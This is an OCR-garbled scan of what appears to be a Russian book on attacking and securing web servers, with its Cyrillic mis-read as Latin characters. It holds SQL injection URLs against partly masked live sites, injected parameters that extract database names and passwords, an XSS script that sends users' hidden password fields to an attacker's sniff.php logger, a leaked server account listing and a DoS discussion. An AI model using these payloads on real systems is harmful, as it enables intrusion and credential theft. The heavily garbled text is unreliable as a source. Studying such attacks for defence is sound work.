BOT TYT yse MHOXECTBO NapaMeTPoB, KOTOPbIE MOXHO HCTIONL30BaTL. [TposepUl
napaMeTphl, 1 BLIACHWA, 4TO NepemMennad catid e duanTpyercs. [TporpamMmucTey
sBHO paccrabunmch M 3a6kuIH NPo MOMCK, KOTOPLIF He Mackupyerca nox HTME~
daiin. Eciu nepenath B napametpe catid Mycop, TO Mbl yBHauM cootueHue o8
owmbKe, Kak OKA3aHO Ha pUC. 5.12.

Jlanee yke KIacCHUECKAM METONOM noaGHpaeM konuHecTBO nonelt M nponomkas
em B370M. B 1anHOM Cnyuae Beero wects nofell u 1 nonyunn creayioumi URLs
http:/free-software-download.info/showpads.php?catid=10%20limit %201 %

20union %20select %201111,2222,3333,4444,5555,6666/*. Manbuie mnponomxarh
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Y XOPOLIEro AAMMHUCTPATOPA OTKPHITH TOMLKO CaMble HeoGxOaMMEle mOpThi, Ha-
npumMep, ecan a1o Web-cepsep, He npeaOCTABAAIOWKMA AOCTYN K 3NEKTPOHHOM
NOUTE, TO HET CMBICN2 IEPXKATh NOYTOBbIE CYHKObI, JIoMKeH GbITh OTKPHIT TONbKO
80-4 nopr, Ha xoTopom Kak pas i paGoraer Web-cepeep. Bee ocTanbiibie noprsi
JOMmKHBI GbiTh HE NPOCTO 3aKPbITHI CETEBLIM IKPAHOM, A NyHIIIE, eClH COOTRETCT-
BylowHe cnyx6bl coscem He GyayT ycrawomneHbl. Pacnpocrpavennas omnGka
AIMHHUCTPATOPOB: YCTaHOBIIO Ha BCAKMIL Cyuaii Bee, npocTo He Gyay 2anyckarh
UK NPUKPOIO CRTEBBIM SKPaHOM. ITO oueHb cepbesHan ownGka. Ecniu xakep npo-
HUKHET Ha Bauly CHCTEMY, TO OH 32IYCTUT OCTRHOBIEHHYIO CywOy WM npHoT-
KPOET ceTeBOM KpaH, 4ToGk! BOCTIONbIOBATECA YXKE 3ANYLUEHHOH.

CrapaiiTech CBECTH KONHYECTBO YCTAHABMHBAEMOTO NPOrpaMMHOro obecnedeHus
K MMHMMyMy. Jlake GesobuaHas nporpaMMa KanbKynATOpa MOXKET OKA3aThCA M-
TouHnkoM B3noma. He sepute? JlomycTrM, 4To KaibKyJsTOp y BAC 3anyckaeTcs
¢ MpaBaMK aIMMHKCTpATOpR, AaKe /I8 NPOCTOro nonsicsatens. Teneps, eciu
B KaNbKyNaTOpe OyaeT HaleHa ya3BMMOCTb THNR NepenoiHeHMs Gydepa, xakep
CMOXKET HCNONBIOBATh 3TY YA3BMMOCTh U NOMYYMTh NPaBa aIMHHHCTPATOPA.

Jla, BepOATHOCTb TOTO, YTO Yy Bac KalbKymATOP paOTaeT OT MMEHH CHCTeMHOH
Y4eTHOM 3aNUCH — MHHMMAIbHA, 2 TOWHEE HyJEeBas, HO A NpUBEAY elle Napy
JIOBO/IOB!

O xaxep, NPOHUKHYB B CHCTEMY, YTOGbI 3aMacCKMPOBaTh CBOE NpeGbiBaHHE B Hel,
MOXET CaM YCT2HOBHTBb 3alyCK NpOrpamMbl OT WMEHH CHCTEMHOM Y4eTHOH
3aMMcH M UCMONLIOBATH €€ JUTA NICBLIUEHAA CBOUX NPUBMIETHIL,

O HanuuMe HEKOTOPEIX MPOrPaMM MOXET ynpocTHTh BaioM. Hanpumep, ecnu
B CHCTEME ycTaHoBAEeH FTP-KIIMENT, TO C €ro NOMOILLIO XaKep MOXET 3aKauaTh
Ha cepeep HeoGxoaMMYKO ANA BIfioMa nporpammy. Uium eciid B cucTeMe yCTa-
HOBJIEH KOMNMAATOp MK WHTepnpetaTop Perl/PHP, To xakep MoxeT cospats
WA 3anyCTUTH 3710BpeaHbll KOX Ha cepaepe. [la, HEKOTOpbiE MPOTpaMMBbt Al
MCNOJIb30BAHMS YA3BUMOCTEH nuyTcs Ha Perl, nostomy B nocreanee peMs
AAMWHHUCTPRTOPLE CTAPAIOTCA OTKA3BIBATLCA OT HCTIONBIOBAHHA ITOTO HHTEP-
NPETaTOPa M HE YCTAHABIMBATSL €ro Ha pabounii cepsep.

[Tomyuaetcs, 4TO 4eM MeHbIlE NPOrPaMM YCTAHORNEHO HA cepBepe, TEM MeHblle
naseek y XaKepa NPOHUKHYTL B CHCTEMY M NIOTyYHTE NPaBa aAMUHUCTPATOpa.

XopoluHii CkaHep NOPTOB ONpEAENseT HE TONLKO HOMEDP OTKPHLITOrO nopra, HO
M 110ka36IBACT HazBaHue paboTalollel Ha HeM clyxOhi (Kanb, Y4TO He HacTosLlce,
1°FOJILKO UM3 BO3MOsKHOTO cepaepa). Tak, ana 80-ro nopra Gyser noxasaro “htip".

e ckaHep He noKasbiBaeT HmeH ca1yx6, To B OC Windows ux MOXIKO HOCMOTPCTD
n (paiutax protocol W scrvices Wy karanora C:AWINDOWS\system32\driversiele,
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&:/hsphere/local/home/alekslar/alekslarsen.net/pjott: /nonexistent
totland:*:1375:1375:User

&: /hsphere/local/home/alekslar/alekslarsen.net/totland: /nonexistent
jallaman:*:1191:1191:User

&: /hsphere/local/home/necblaze/jallaman.necblaze.net: /nonexistent
esrever:*:1375:1375:User

&:/hsphere/local/home/alekslar/alekslarsen.net/esrever: /nonexistent
sjolyst:*:1129:1129:User

&: /hsphere/local/home/blackpea/sjolyst.blackpearl.no: /nonexistent
nordste0:*:1367:1367:User

&: /hephere/local/hame/nordstei: /nonexistent gabefiji:*:1289:1289:User
&: /hsphere/local /home/rovinspe: /nonexigtent sodmovie: *:1225:1225:User

&:/hsphere/local/home/shadowso/shadowsofdoom. net /movie: /nonexistent
sandra:*:1375:1375:User

&: /hsphere/local/home/sheepmod/bryllup. sheepmods.com: /nonexistent
magno:*:1375:1375:User

&: /hsphere/local/home/alekslar/alekslarsen.net/magnose: /nonexistent
bildeupl:*:1051:1051:User &:/hsphere/local/home/korps/lillestrom—
musikkorps.no/medlem/bilderupload: /nonexistent

christia:*:1424:1424:User &:/hsphexe/local/home/lundern:/nonexistent
praha:*:1398:1398:User

&:/hsphere/local/home/piweb/hsphere/local/home/piweb/praha: /nonexist
ent )\b#i

B sToM criMcke conepxkuTca GonbILoe KOMMYECTBO UMEH SOMAIUHUX AUPeKTOpHik
ans Web-caiitos. Bee oHu naxonarea na atoM ske Web-cepaepe, a 3Ha%HT, HX TO-
ke MOXHO B3nomate. Hanpumep, B nupexropun /hsphere/local/home/sheepmod/
bryllup.sheepmods.com aeHo HaxomuTcs Web-caiit bryllup.sheepmods.com,
¥ OH TaK JKe OKa3bIBAETCA MO/ yrpo3ol. JIpyroe [eno, 4To Ha 1aHHOM 3Tane npasa
TIOAL30BATENS, KOTOPBIE HAM TIPEHIOCTAB/CHDI, He IOCTATOMHBI Ul IIPOCMOTPA HAH
penaxkTuposaHus GainoB B IAHHON AMPEKTOPHM, U 3TO GONBILON MITIOC AAMUHHKCT-
paTopy. BuiBaloT ciiyuay, KOT/a BaM MOMKET OKA3aThCHA HOCTYMHLIM BECh CCPBEp.
Ho 370 He 3HauuT, uTo AanbHeHLIMK BITOM HEBO3MONXEH. BO3MOXHO Bee.

Teneps NOCMOTPHM, Kak MOXHO ofpaTuTeca k Gase manHbX. Ytobbl y3uats ums '
Gazer  panHex, x  crpoke URL  goGaenseM  cnenmylommii  Teker:
“&highlight=%2527.$poster=$dbname.%2527". [laponb MOXHO Y3HaTb, HOGaBHE:
“&highlight=%2527.$poster=$passwd.%2527". Teneps, 3Has napaMeTpbi AOCTyNa
# CTPYKTYPY 6a3bl HaHHEIX, Bbl CTAHOBKTECH GOTOM B JaHHOH CUCTEMe.

Cnenylolmii  npuMep TIOKa3bIBAET, KAK MOXKHO BBIIOJHUTL 3a0pOC  SHOW
DATABASES, KOTOPBIH  F03BOAs€T  yBMAETb HOCTYOHlE 6a3sbl  BHHBIX:
"&highlight=%2527.3poster=SHOW %20DATABASES. %2527",
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Puc. 8.8, Cnwncox TAGANU, KOTOpLI® MCNONLIYeT Web-caiT
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THM, YTC Bbl pElIM/IH NPOU3BECTH aTaky Ha Cepeep, NO3BOASIOIHI nepeBOAHTE HA
Apyrofi a3bik ykasaHHple Web-cTpannuer moGoro Web-caiita. Haxoaum Web-
CTpaHuuy ¢ GONBILMM KOTTHYECTBOM TEKCTR, H2NPUMEP, KHUTY HNH NOKYMEHTALHIO
RFC (Request for Comments, paGouee nNpeanoxeHNe), H NOChUIAeM MHOXKECTBO
3a0pOCOB Ha ee nepeBon. Mano Toro, 4To o6meM GOTBLIOH, M ANA CkauHBaHHR
cepBepy HYXKHO MCTIONb3OBaTh CBOH KaHal, Tak elle W Nepesoj — AOCTATOYHO
Tpynoemkui npouecc. Jloctatouno B TeueHHe | ceKyHib! oTnpasuTh 100 3anpo-
COB Ha nepeBOll FPOMAIHOM KHUTH, 4TOGHI CEpBEp Meperpy3uncs. A eclii HCnoNb-
3yerca 6JIOKMPOBK8 MHOIOKPaTHOrc rnepeBoja OAHOTO U TOro Xe, TC HYKHO TNo-
AbICKATh HECKOIbKO GONBLIMX KHUT,

B naHHOM cnydae aTaka oTkasa oT o6Cny)KHBaHHA OTPAX2ETCA OCTATOYHO NPOCTO.
CepeepHoe nporpammHoe ofecneuerue A0MKHO KOHTPOIHPOBATh H OrPaHHHYHBATD
KOJIHYecTBO 3anpocos ¢ oaworo IP-ampeca. Ho ato Bee TeopeTuueckH, W Takne
TIpOBEPKH OTpaAfAT TONbKC OT HAYHMHAKOIIMX XAKEepOB. OanTHOMy B3JIOMLUUKY HE
cocTasuT Tpyda nofnenars IP-agpec M 3achinaTh cepsep nakerami, B KOTOPHIX
YKkasaH HOMS.TIBHHFI anpec OTHpaBHTENA.

Jlna cepeepa eue Xyxe, ecau oM naet no TCP/IP, notoMy uto 3ToT npoTokon
TpefyeT yCTanOBKH coennHerus. ECiu Xakep nourneT ouenb Gonbiioe KOMHYecTso
38NPOCOB H2 OTKPBITHE COEAMHEHUs C pasHbIMu 1P-anpecamu, To cepeep pasousnieT
Ha 3TH afpeca NOATREPINUIEHUS W GyneT NoKMIATLCA NanbHellnX aeticrauii, Ho
Tak Kak peanbHO ¢ 3THX anpecos He Gwino 3anpoca, To W ocTaHoBka Gyser Gec-
combicnennoi, Takum ofpasom, 3anonHus Gytep ouepean Ha BXONALUHE COCTMHEHNA,
CepBep CTZHOBHTCA HEAOCTYIHBIM [I0 NOAK/TIOUEHHSA HECYIIIECTBYIOLIMX KOMABIOTEPOB
(Bpema oxumatnd (TimeQut) ans 1ol onepaiy MoxeT GbiTb 10 5 cekyHI). 3a
3TO BpeMsA Xakep MoxeT 3abpocats Gydep HOBbIMM 3aNPOCAMM M NPOLTHTH Gec-
CMbICTTEHHOE OKHARHHE CepBepa.

Camoe CokHOe — 3aUUTHTECA OT neperpy3kH kaHana. Jieno B TOM, YTO Koraa Ha
Hawr cepaep Haet GOnbuIoe KOTHYECTBO NAKETOB, TO OTHHILTPOBATh WX Ge3 nony-
YEHHS HEBO3MOKHO. 3aLLMTHTBCH MOXHO TONLKO PACIIMPEHHEM KaHana 0 TaxoH
CTENEHH, YTOGLI €10 HE BO3MOXHO GbLTO 32NONHKTS.

1.7.1. Distributed Denial Of Service (DDoS)

C nomoweto DoS-aTaky AOCTATOYHO CROXKHO BLIBECTH W3 OGCHYMHBRHUS Takne
Web-caiiTbi, kak www.microsoft.com wan www.yahoo.com, notomy 4o Ans ux
PaBoTb MCROMB3YIOTCA AOCTATOHO UIMPOKWE KAHAMBI M CBEPXMOILHBIE CEPBEPLI.
HHo, kax Noka3kIBaeT NPaKTHKA, XakKepbl HAXOAAT BHIXOAbI W3 MOCHIX CHTyauuit,
JUts nonyueHns TakoH MOWIHOCTH mcnonesyercs DDoS. B srom cnyuae araky
LIPON3BOHT HE OAMH KOMINBIOTEP, a MHOXKECTBO, H KAUKIbIH H3 HHMX DBITACTCA 18-
CuiiaTh cepeep MycopoM. Ecniv cioxnTs BCe MancHbkHe Kaluin NoAs1oRaTes0H,
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51 Mowuck

Ceroana ¢ yTpa y MeHs a6conioTHO He GO HAcTpoeHns paGoTaTe, U A Hauan
BeccMbiCNeHHo nyTewecTBoBaTh 110 HuTepHery W 3a6pen na Web-ctpanuwy on-
HOM KOMNAHWH, KOTOpas NPEANONAracT PelleHHa A COMAHHA KOPIOPATHBHEBIX
Web-caiitos. (puc. 5.1). Ha u306pakeHHH HEKOTOPHIE HACTH 3aKpalleHbl, Nabhi He
nopteTs penytaunio komnannu. Ee URL s Takke e Gyay admmuiposats, a BMe-
cTo 3Toro Gyaem cumTarh, uto 370 WWW. XXXXXXXXXXXX.com.

Ph'ax, KOMIMaHHA MpeanaraeT pelieHHs 11 CO3AaHHA KOPNOPaTHBHBIX Web-
caiftos. MHe crano uaTepecHo, a kak paGoraer ux coGersenHbiit Web-caiir u Ha-
CKOMBKO OH 3aLLHLIEH. ['oaopxr, yro Web-caiit - aTo N0 KOMNAHKK, U €CNY OH
BBITNTAOWT YXKACHO, TO H KOMMAHWA TaKaa XKe. A TaKoro MHCHHA He HPHACP)KHBH-‘
10Chb, MOTOMY 4TO OY€Hb YACTO 338 HEKAZHCTHIMH ‘Web-caiitamn npAvyTCa Oqeﬂﬂ‘
XOpOILIHE PELICHKS % NIPOrPAMMBI. i
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Puc. 5.1. Web-cakT komnanuu, KOTOpwIi A GyAy NPoBepATS





index-207_1.png
SQL-urveryus (ASP + MS SQL Server) 208

A He cran TpaTHTE BpeMs Ha HccreaosaHue sToro Web-caifta n3-3a ero Huskol
noceiaeMocTH. EAHHCTBEHHOE, HTO NMPHBICKIO MOE BHHMAHHE —— RAPAMETP
Forum_title, 4EPe3 KOTOPIA NepesaeTca 3aronosox dopyma. IlonpoGyem nepe-
JlaTk B 3TOM MapaMeTpe CREeAyHoLLyIo CTpoKy: "<a href="www.msn.com"> This is
a hacker</a>". Pe3ynerat nopasutensHbll (puc. 6.4). B rene Web-cTpanuust nps«
MOYrofLHKKOM A Bulaenun cchinky This is a hacker. 3ta ccpuika cosnana Graro-
mapa nepeganHomy muo#t HTML-xony yepes napametp Forum title. Ecnn Hay
BECTH KypcOp Ha CChiKy, TO B CTpOKe cOCTosHuA moasnsercs URL
www.nsn.com. HMenHo Ha Hero A nepeaan ccunky depes HTML-kon.

BoaMoxkHocTs sHeapennd HTML-xona B Web-crpaHnuy oueHb onacHa. MoxHO
chopmuposats Takoii URL, npu koTopoM 3arpyska a7oli Web-ctpannib nonbios
BaTe/eM NPUBEAET K TOMY, 4TO coaepiHmoe ero daiina Cookies Gyaer otnpasne-
HO xakepy. OB 3TOM Ms! €LlIE TOTOBOPHAM OTAENBHO.

doa! Hotors FalfineAiicr st Inkrtis, Exnirer,

Puc. 6.4, BreapeHHbIA B Wab-CTPaHULY BOpYMS Koa
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O nyure BCero 3anperuTs ynaneHHoe noakitouedne k CYBJI. Hampumep, echn
k MySQL ofpawaroTca TOALKO JIOKANLHO PACHONOKEHHBIC CUCHAPHH, TO HR-
KTO HE JO/KEH MMETh NpaBa NOMKIIIOUEHHMA ¢ yianeHHoN MallkHel (B HacTpoit-
kax MySQL ecTb Takas onuus);

0 HeoGX0AMMO yAanuTe Bee 6a3bl A2HHBIX, CO3AAHHBIE ANS TECTHPOBAHHMA M OT-
nanky. Tlo ymonuanmio 8 Gonswmuncrse CYBJL (8 Tom uucne n B MySQL)
ycTaHanHBaeTcA TecTosan Gasa ganHbix. B paGoTatoweli cucteme ee He JOMKHO
6biTh,

‘YdeTHan 3anuch aiMHHHCTPATOpa MO YMOM42HMIO, O KOTOPOH Mbl yiKe CKasaiu,
ectb npaktudecky Bo ecex CYBJl. B MS SQL Server 370 ydeTHas 3anuch sa, Ko-
Topas MoXeT GbiTh Ge3 napons, eciM aAMHHUCTPATOP He YCTZHOBH €ro BO BpeMs
nucrannaume, 2 8 MySQL 310 root, Takke Ge3 mapons. UtoSel usMeHUTh napok
ansg MySQL, BLINOAHKTE KOMaHAY:

/usc/bin/mysqladmin -uroot password newpass

Haunyuwnm sapuantom Gyaer neperect paGoty MySQL u Apache B okpyske-
nue chroot. Kax paGoraer 310 okpysxenue? B cucteme cozmaercs karanor (8 Linux
AN 9TOTO CYWIECTBYeT KOMaHfZia chroot), KOTOPbI HBISETCA ANS NpOrpaMMbl
KOPHEBbIM.

PHc. 1.6. Cxema paboTe) okpyeHwA chroot

Bbillle 3TOro kaTasora nporpamma, paboTalollan B OKPYKEHHH, NONACTh He MO-
weT. TlocmoTpHTe Ha puc. 1.6. 3aeck nokasana wacts daiinosol cuctemsl Linux,
Bo rnaBe Bcero cTONT kopHeBoii katanor /. B et naxoantcs /bin, /usr, /var, /home
u 1. A B /home pacnomokens! KaTanord nonbiosatesed cucreMbl. M conaom
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€ MAKCHMATEHOMN NPOUIBONMTENLHOCTBIO H WIMPOKHMY KaHanami cBaau. Beas
nPOCTO HEOKMAAHHbIH TOTOK HOBBIX noceTwrencH, HanpuMep, Gnaronaps Ka-
oii-To HoBocTH B CMH ToXe MOXMET NpUBECTH K OTkady B 06CAYKUBAHUN,

6. DxoHOMHA Ha creumManucTax GesonacHoctd M cuctemax obecneuenns Geso-
TmacHOCTH. 3T0 camoe CTpalliHoe. Tonbko crneuHanucT, MUMEIOLMH MHOTOMNET-
HUH OMBIT, MOXET 3alIUTHTL CHCTEMY OT BTOpXKeHHA. MHOrHe JOBEpAIOTCR
CBOMM 3HAHHAM MITH NPOCTO KOHGUrypHPYIOT CHCTEMBI ¢ UEnbio 00yucnna. Ho
ﬂpl‘lDGmeb HABBIKH HaAC HA TECTOBBIX TEXHMYECKHX CPEACTRAX, a paﬁolme
cepBepbl H KOMNBIOTEPLI AOMKHBI TOANECPAKUBATLCS TONbKO CHEUHAIUCTAMH.

B crepyiomux rmasax Ml GyseM MCOONbIOBATL TEOPHIO, ONUCAHHYIO 24ech AL
B3nomMa Web-calitor. 51 xouy elle pa3 npeAynpeaHTh Bac, 4TO NpakTHka HeoGxo-
AMM2 TOBKO 718 TOFO, 4TOGbI Bbi YBHAE/H, KaK MOXHO 3alHTHTLCA OT aTakH, HO
He JU18 TOrO, YTOGbI BbI R3TaMbIBANIH CEpBEpbI.

TTouemy Web-caiithl ya3sumbl # oTKyna Gepyrea owmubku? Jlasabite nonpobyem
pasoBparsea. Jliobas nporpamma Moxer cosepkarh owHbkH, a Web-calir Moxer
GbiTh Ge30nACHLIM, TOMLKO €C/i OH He CONEPAUT APOTPaMM, & NOCTPOSH TObKO
Ha 4KCTOM A3bike pasMetkd HTML. DToT a3blk HE UMEET HUKAKMX BOIMOKHOCTCH
A joctyna k daiinoroli cucteme uiy CYB]I, OH COAEPKUT TONBKO TETH, KOTO~
pble onpelenaoT odopmacHue (BHelIHMA BUL) A0KYMeHTa. Takum obpaioM, ecin
HenpasHIbHO Henonbzosath HTML, To MakcHManbHbiA Bpesi, KOTOPBIA MOXHO
H2HECTH, — HCTIOPTUTL (OpMaTHpOBaHHE.

Ecnu nporectuposats Web-caitTbl HHTepHETa H2 KOPPEKTHOCTD, TG GONMBLIMHCTBO
U3 HUX Hanucaibl ¢ HapyuweHnaMy npasun W3C (World Wide Web Consortium,
KOHCOpUWYM npou3soauTeneli [10 ans HHTepHera), HO 3TO He FOBOPHT O TOM, 4TO
3TH Web-caliTol ya3BHMbI, Beb 3TO BCEro NKIIb pasMeTka.

Ho na HTML MOXHO €0O34aTh TONBKO npocTylo AoMaiuHiolo Web-cTpanuiy, co-
1POBOXAEHHE KOTOpO# GyaeT oueHb HeyaoGHbiM. Ecni Bbi cozrasank Web-caiith
n3 HTML-cTpaHHu ¥ nocne 3TOrG MeHaNH ZH3aHH MK XOTA Gbl OXMH INEMEHT
Ju3aiiHa, TO JOMKHDI 3HATb, KAKHX YCHINH TpeGyeT oTa npocTas onepaums.

Toeopa o Tom, yto Web-caiit, noctpoennbiii na HTML, Gesonacew, He crenyet
3a6bIBAT, YTO ONACHOCTE MOXKET NPUIATH CO CTOPOHBI CAMOTO CEPBEPA H YCTAHOB-
JIEHHBIX Ha HEM NPOrpaMM: Xakep MOXET OCYLIECTBHTb B3NOM 4epes omnGxy
a Apache unn OC.

llpu pocte konuuectea Web-cTpannuy Web-caiita yBenuunsaerca cloxHOCTb ero
COTIPOBOXIEHHs. B 9TOM Ciyuae BOIMOXHOCTEM PasMeTKH CTAHOBMTCA HENOCTA-
FOMHO ¥ NPHXOAMTCA 32eHCTBOBATH BOSMOXKHOCTH CEpBepa, T. €. MPHXOJIUTCS MH-
CUTh CEPBEPHBIE NPOrPaMMbl (CLIEHAPHK), KOTOPbIE CMOTYT MCTONLIOBATL (haksio-
hyl0 CHCTEMY, CepBepHble OpOrpaMMbl M Gasy JIAHIBIX JUIH JIHHAMHYECKOTO
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usomen cGofi apropusanuu. Huuero He nonoapesaiomuit momssoparens bsener
AaHHbIe, KoTopbie GyayT coxpaHeHe! B 6ale nauubix xakepa. [Tocae Toro cnemyer
TepeHanpasHTe noaesosaTens obparno Ha Web-caitt, orxyna on mpumen,

10.2. MNepexBaTLiBaeM faHHbIe

Hrak, napafire cefitac NOCMOTPUM, KaK XAKSP MOXKET NEPEXBATHTL A2HHKIE NOME-
3osatens. Hanpumep, aonycrum, 4ro xakep noGaBuT Ha GOpYyM WIH rocTeByio
KHUTY caeayrowuit JavaScript-kon:

<script>

document . location.href="http://192.168,1.5/sniff php?test”

</script>

310T KON nNepeanpecyer Hac Ha Web-crpanuiy http://192.168.1.5/sniff.php,
4 B KAUECTBe MapaMeTpa A/l TpUMepA Mepeggerca cnoso “test”. Cueapuht
sniff.php — 3T0 nporpaMma xakepa, KOTOpas MPOCTO COXPAHSET repefaHHBIl
URL 8 kakoM-HuGyas XpaHKAMILE, HAIPAMEP, B TeKCToBOM (aiine. [Tpumep Tako=.
ro daiina MOKeT GEITb CICRYIOWMM:

<2

$f = fopen{"snif.txt", *a");

furite($f, SREQUEST_URI};

fclose ($£) ;

print ("0K"};

2>

B srom npumepe conepxumoe URL coxpanserca s TekcrosoM ¢afine snif.txt.
B Hawem ciayuae B 570T daiin nonaznet cregytomas crpoka: "/sniff.php2test”.

Moka Bpofe Hudero crpamHoro, xakep cam cebe ormpasun coobwenne "test”
u Web-calit noka He noctpazan. Yeaokusem 3anady. Jomycrum, #ro s dopme
OTNpPasKH DDOGU.(CHHﬂ €CTb HEBHAHMOE [10JI€ passws, YEped KOTOpOE MepenaeTeh
napoas:
<input type=*hidden* name="passws" value="querty">
Kaxabtil no153081€/b BUAMT CBOW Maposib, & 4Tobsl yBuaeTs uyKoh, Heo5XoaN-
MO ero nepexeatuts. JIng 3TOTO Xakep MOXKET BHEAPHTS Ha (OPMY caeRyrotwi
JavaScript-kon:
<script>
Gocument , location. hrefe*http://192.168,1,5/8niff php?"+

document . messageadd . passws . value
</script>
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u ykasmisaeT Moaugukatop e. lNocnennas yacts — 370 wynesol Gaitr, kdropaitt
ARIACTCA KOHUOM CTpokH. Bnaronapa HysnesoMy Gaftry cTpoka W Bca ocTaplagcs
HACTh PEryPHOTO BRIPAXKEHHA, KOTOPAA NPONMCAHA B CUEHAPWH, GYAET npour-
HOpUpoBaHa. TakMM TPOCTBIM TPIOKOM MBI MOAMEHHAN PErynfpHOe BbipaKeHHe
% MOZAGUKATOP i 3aMEHHAH HA e.

lNpoGnema peatnsauuy NaHHOW aTaKM B TOM, YTO XE/aTebHO 3HATH UCXOAHBIA
xon cuenapues. He anas ux, nalitn nogoGuyio owmbky ouensb croxuo. Heobxo-
JMMO 3HaTb, B KAKHE CHMBOJIB! 3aK/OMAIOTCA PETy/APHBIC BBIPAXKCHUSA, U KAKHE
napaMeTpel ucnonesytotcs. He 3Has storo, nono6pars Heo6xonumyio KomGuua-
UMIO Q4eHb CNIOMKHO. BONBIIMHCTBO XaKEPOB NPOCTO He GYAET CBA3LIBATLCA C AaH~
HO# 3anaved.

HanomuHalo, uto MOIUGHUKATOD e B PeryiAPHOM BLIPAXKEHHH UCTIONb3YETCA TOALKO
B GYHKUMM preg_replace.

He 3abbisaem, 4T0 310 perynspHoe sbipakenHe Perl, a 3nauut, 4T TaM TOXKE
MoxeT GbiTh nogoGHas npobnema. IMouemy "Moxer GuITL"? S 370T A3bIK 3HAIO
HAMHOTO XY’ ¥ He MOTY YTBEPHAaTh 3TOI0 HABEPHAKA.

3.9. OnacHocTb

nepeMeHHbIX OKpYXeHus

B PHP ecTb HECKOMLKO AEPEMEHHBIX OKpYKeHUa. [TOCMOTPHM HEKOTOPLIE U3 ATHX
TiepeMenHbIX:

O $SERVER_ADDR — IP-aapec Web-cepeepa, Ha KOTOpOM 3amyluen cueHapuii;

0 $SERVER_PORT — nopT Web-ceppepa, K KOTOPOMY TIOAKNIOUKACA KIHEHT AN
BHITIOAIHEHHA 3aNpoca;

0 sSERVER_NAME — ums xocTa Web-cepeepa;

0 $SERVER_PROTOCOL — Bepcua HTTP;

O sreMOTE_aDDR — IP-ajpec komnbloTepa, 3anpocHsulero dakn cuesapus;

] SREMOTE_PORT — [OPT YAICHHOIO KOMMbIOTEPA, C KOTOPHIM YCTAHOBAGHO
coeauHeHkE;

1 $REQUEST_URI — URL k thaiiny Ge3 nmenu gomena win anpeca Web-ceprepa,

Hanpumep, ecny Guin 3anpowen aapec http://192.168.1.1/admin/index.php,
7O HTa nepeMeHHan by aeT coaepxarh Hauenue "/admin/index.php”;

M $QUERY_STRING — CTpOKa 3anpoca, KOTOpas COJEPAHT CIHCOK AEPESNAHiIbIX
HapaMceTpoB. TlapaMeTps! pasieNenbl CHMBONIOM amriepcan/ia, a CaMH [lapaMeT=
Lt MMEIOT RHJL " IIA3BANKC=3HAME e
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Web-cTpasuua 6es npobieM cOXpanHAach, Tenepk MOXKHO NPUCTYNATh K H3yde-
HUI0 MCXOIHOTO Kofa. Ko KHONKH nevaTh BLITIAANT Credyioumm obpasom:
<A onclick=
“MM_openBriwindow( "http: //www . XKXXKXXXXKKXXX. com/print .php?ig=1*,
'print’, ‘scrollbarg=yes, width=600, height=400')"
href="javascript

<IMG height=25 alt=Print src="111_files/_iconprint.gif"
width=25 border=0>
</A>

Hirak, cobliika Ha cueHapuii, KOTOpbIi OTBeuaeT 32 OTOGPakKEHHS OKHA MEYATH, BBITIS-
AT crefyrowkm obpasom: https/www. XXXXXXXXXXXX.com/print.php?id=1;
CueHapuio print.php nepesaeTcs OOUH TAPAMETP id, KOTOPOMY TIPHCBAMBACTCH
3nadenue 1. MMA knaccuueckoe, 3HAUAT MOXHO MPEANONOMHTS, HTO U CMBICT erg
KIIaCCHYECKHUH: 110 ITOMY WIEHTHOWKATOPY CleHApHil ONpeaentT, HH(pOpMAaLIHIY
0 KAKOM TIPONIYKTE HeOOX0AUMO NOAIOTOBHTD K NIEHaTH.

TNonpoByem B kauecTe napaMerpa nepenats He 1, a undpy A anoctpod. Ty? cu@i
Hapuii coobiuaeT vam o6 owmbke 8 SQL-3anpoce. [Monpotyem & cTpoxe URL yxa
3aTh chaeayrowmi aapec: http://www XXXXXXXXXXXX.com/print.php?id=

and 1=0.

Cuenapuit otoGpasun Tosbko Web-cTpanuily, Ha KOTOPOH COASPXAIHCH 3]
cTpok MHAOPMALMH O KOMNaH1K W npasooGnanatenax. Bunumo 314 cTpokK
Gpaxalotca s J106Oro MPOAYKTa H TNPOLIMTHI B CAMOM CLICHAPHH, a He B 6
AAHHBIX.

Teneps nonpoGyem ykasaTk creayiomuii agpec:
http:/fwww XXXXXXXXXXXX.com/print.php?id=1 and 1=1.
Ha sToT pas Web-cTpanuna orobpazurcs koppektHo (puc. 5.2).

Slsuas npoBnema c nposepKoH NapaMeTPOR, K BECh TEKCT, KOTOPBIH MBI MOMEL
B napameTp id, nomagaet B SQL-3anpoc, KOTOPLIA BHIMIOAHSAET cleHaphii. Pasp:
GOTUMK ABHO PacciabuCA W NOHANEANCA HA TO, MTO XaKep He YBHIMT CCHUTKH,
He nposepua nonyqaeMbm OT NoAb30BaTENs NapameTp, a 3ps. Ecnu a Hallien,
ApYrHe TOXe CMOryT HaliTy,

Bor 3a 4To 2 mioBbnio GonblliMe NPOTPaMMb, Tak 3TO 3a To, 4TO 06A3aTeNbHO Hal
JeTCA mapameTp, KoTopsii He GyaeT nposepaThcd. Tak CAyuMnOCh W B NAHHO
cnyuae. Ha 3ToM 3 3aKOHYWI CBOE HCC/EHOBaHWe, coofimuB aaMuHKUCTpaTopal
Web-caitTa o Haitnensol oumbke. Ha creaylommi nens ee MCApaBUAY U yREpUA
4To nogoGHON owKGKH HET B KOMMEPHECKOM ApOAYKTe, KOTOpLIt mpeanal
koMmauA, Ckayas 3TOT APOLYKT, A YAOCTOBEPHICH, 4TO 3TO fIPaB/A.
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FROM mysql.user

WHERE mysql.user.password

LIMIT 2,3

Teneps SQL-3anpoc BepHeT CTPOKY, HauMHas CO BTOPOI 10 TpeThio. Takum o6pa-
30M, 110 OJHOMY MOXHO MpPOYMTATS M3 TabNiuubl BCe HeOGXOAMMBIC CHCTEMHbIE
DaHHbIE.

Teneps 0CTaeTca TOMLKO MOAOGPATh MAPOb K MONYMEHHOR XEII-CYMME, W eClH
MySQL noseonseT yaaneHHOe HOAKTIONEHHE, TO MOXKHO MOAKNIOHATHCA K HEH
H NIeNaTh 8CE, YTO yFOAHO.

S He 3aHUMAOCh BaHIANMIMOM, TO3TOMY COOOWHA AAMHHUCTPATOPaM M npo-
TpaMMuCTaM O HafineHHo# ownbke. ITycTh HempasaT,

[Fetautissiane g
2 ]

it At P 443 5 e s 2]

Puc. 5.7. Teneps y HAC AOCTATOYHO UHOPMALWA
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He yKasaHo Apyroro, GrokupyeT KKAYIO 3alHCh B OTAeNbHOCTH. MIMeHHO noaTo-
My onpeaenenie GIOKHpOBOK TpebyeT SHAUUTEALHBIX PECYPCOB,

